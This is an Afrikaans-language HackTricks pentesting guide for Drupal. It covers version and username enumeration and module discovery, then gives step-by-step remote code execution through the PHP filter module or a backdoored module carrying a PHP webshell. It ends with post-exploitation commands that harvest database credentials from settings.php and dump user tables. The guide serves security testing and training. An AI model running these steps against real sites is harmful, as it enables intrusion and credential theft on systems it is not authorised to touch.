hacktricks/network-services-pentesting/pentesting-web/drupal.md

8.8 KiB

Drupal

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

{% embed url="https://websec.nl/" %}

Discovery

  • Kontroleer meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal indekseer sy inhoud deur nodes te gebruik. 'n Node kan enigiets bevat soos 'n blogpos, opiniepeiling, artikel, ens. Die bladsy-URI's is gewoonlik in die vorm /node/<nodeid>.
curl drupal-site.com/node/1

Opsomming

Drupal ondersteun standaard drie tipes gebruikers:

  1. Administrateur: Hierdie gebruiker het volledige beheer oor die Drupal-webwerf.
  2. Geverifieerde Gebruiker: Hierdie gebruikers kan op die webwerf aanmeld en operasies uitvoer soos byvoorbeeld artikels byvoeg en wysig gebaseer op hul regte.
  3. Anoniem: Alle webwerfbesoekers word as anoniem aangedui. Standaard word hierdie gebruikers slegs toegelaat om plasings te lees.

Weergawe

  • Kontroleer /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Nuwer installeer van Drupal blokkeer standaard toegang tot die CHANGELOG.txt en README.txt lêers. {% endhint %}

Gebruikersnaam enumerasie

Registreer

In /user/register probeer net om 'n gebruikersnaam te skep en as die naam reeds geneem is, sal jy daarvan in kennis gestel word:

Versoek nuwe wagwoord

As jy 'n nuwe wagwoord vir 'n bestaande gebruikersnaam versoek:

As jy 'n nuwe wagwoord vir 'n nie-bestaande gebruikersnaam versoek:

Kry aantal gebruikers

Deur toegang tot /user/<number> te verkry, kan jy die aantal bestaande gebruikers sien, in hierdie geval is dit 2 aangesien /users/3 'n nie gevind fout teruggee:

Versteekte bladsye

Fuzz /node/$ waar $ 'n nommer is (van 1 tot 500 byvoorbeeld).
Jy kan versteekte bladsye (toets, ontwikkeling) vind wat nie deur die soek-enjins verwys word nie.

Geïnstalleerde modules inligting

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Outomaties

droopescan scan drupal -u http://drupal-site.local

RCE

Met PHP Filter Module

{% hint style="warning" %} In ouer weergawes van Drupal (voor weergawe 8), was dit moontlik om as 'n admin in te teken en die PHP filter-module te aktiveer, wat "Ingeslote PHP-kode/snippets toelaat om geëvalueer te word." {% endhint %}

Jy benodig die plugin php om geïnstalleer te wees (kontroleer dit deur toegang te verkry tot /modules/php en as dit 'n 403 terugstuur, dan bestaan dit, indien nie gevind nie, dan is die plugin php nie geïnstalleer nie)

Gaan na Modules -> (Kontroleer) PHP Filter -> Stoor konfigurasie

Klik dan op Voeg inhoud by -> Kies Basiese bladsy of Artikel -> Skryf php shellcode in die liggaam -> Kies PHP-kode in Teksformaat -> Kies Voorbeeld

Laastens, kry net toegang tot die nuut geskepte node:

curl http://drupal-site.local/node/3

Installeer PHP Filter Module

Vanaf weergawe 8 en verder, is die PHP Filter module nie standaard geïnstalleer nie. Om hierdie funksionaliteit te benut, sal ons die module self moet installeer.

  1. Laai die mees onlangse weergawe van die module af van die Drupal-webwerf.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Nadat dit afgelaai is, gaan na Administrasie > Verslae > Beskikbare opdaterings.
  4. Klik op Deursoek, kies die lêer van die gids waar ons dit afgelaai het, en klik dan op Installeer.
  5. Nadat die module geïnstalleer is, kan ons op Inhoud klik en 'n nuwe basiese bladsy skep, soortgelyk aan hoe ons dit in die Drupal 7-voorbeeld gedoen het. Wees weer seker om PHP-kode vanaf die Teksformaat-keuslys te kies.

Agterdeur Module

'n Agterdeur module kan geskep word deur 'n dop by 'n bestaande module te voeg. Modules kan op die drupal.org-webwerf gevind word. Laat ons 'n module soos CAPTCHA kies. Rol af en kopieer die skakel vir die tar.gz argief.

  • Laai die argief af en onttrek sy inhoud.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Skep 'n PHP-webshell met die inhoud:
<?php
system($_GET["cmd"]);
?>
  • Volgende, moet ons 'n .htaccess lêer skep om onsself toegang tot die vouer te gee. Dit is noodsaaklik aangesien Drupal direkte toegang tot die /modules vouer ontken.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Die konfigurasie hierbo sal reëls toepas vir die /-vouer wanneer ons 'n lêer in die /modules aanvra. Kopieer albei van hierdie lêers na die captcha-vouer en skep 'n argief.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Met die aanname dat ons administratiewe toegang tot die webwerf het, klik op Bestuur en dan Uitbrei aan die kant. Volgende, klik op die + Installeer nuwe module knoppie, en ons sal na die installeerbladsy geneem word, soos http://drupal-site.local/admin/modules/install Blaai na die agterdeur Captcha-argief en klik op Installeer.
  • Sodra die installasie suksesvol is, blaai na /modules/captcha/shell.php om opdragte uit te voer.

Post Exploitation

Lees settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Stort gebruikers van DB uit

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Verwysings

{% embed url="https://websec.nl/" %}

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: